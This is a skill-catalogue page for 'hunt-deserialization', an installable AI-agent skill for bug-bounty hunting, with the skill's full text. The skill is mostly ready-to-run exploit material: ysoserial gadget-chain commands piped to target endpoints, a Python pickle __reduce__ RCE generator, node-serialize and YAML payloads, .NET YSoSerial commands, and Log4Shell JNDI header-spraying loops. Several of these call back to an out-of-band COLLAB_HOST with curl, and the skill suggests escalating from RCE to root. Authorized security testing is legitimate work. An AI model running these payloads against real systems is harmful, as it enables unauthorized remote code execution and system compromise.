hunt-deserialization
Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserializationInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
Development & EngineeringSupported Platforms
Our assessment of hunt-deserialization
hunt-deserialization scores 94/100 on our quality scale, 352nd of 3,055 Development & Engineering skills we index (top 12%).
Its SKILL.md is 5.9 KB long, well organised into 42 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated 2 days ago, so hunt-deserialization is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-28. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-deserialization compared with similar skills
All 4 of these similar skills score higher than hunt-deserialization; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-deserialization (this skill)by elementalsouls | 94 | 4.7k | 2d ago | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.9k | 12d ago | CLAUDE.md |
| headroomby headroomlabs-ai | 100 | 74.0k | 1d ago | CLAUDE.md |
| ai-job-searchby MadsLorentzen | 100 | 44.3k | today | CLAUDE.md |
| claude-howtoby luongnv89 | 100 | 41.7k | 2d ago | CLAUDE.md |
Frequently asked questions
- How do I install hunt-deserialization?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-deserialization work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-deserialization safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-deserialization still maintained?
- The repository was last updated 2 days ago, so hunt-deserialization is actively maintained.
Skill content
View source on GitHubname: hunt-deserialization description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails. sources: hackerone_public report_count: 22
HUNT-DESERIALIZATION — Insecure Deserialization
Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection —
__wakeup/__destructmagic methods → file write / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern:
${jndi:ldap://attacker/a}→ class load → RCE
Attack Surface Signals
Detection Patterns
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
Header / Cookie Signals
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
Step-by-Step Hunting Methodology
Phase 1 — Java Deserialization (ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
Phase 2 — PHP Object Injection
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
Phase 3 — Python Pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
Phase 3b — PHP phar://, Python YAML, Node deserialization
- PHP phar:// (no
unserialize()call) — any filesystem function (file_exists/fopen/getimagesize) on aphar://path deserializes the archive metadata -> object injection with zerounserialize()in code.phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python
yaml.load()(CVE-2017-18342) — pre-5.1 default-unsafe:!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node
node-serialize(CVE-2017-5941) — IIFE marker in any field passed tounserialize():{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
Phase 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
Phase 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
Chain Table
| Deserialization signal | Chain to | Impact | |-----------------------|----------|--------| | Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution | | RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root | | Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC | | Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
Automation
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
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Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
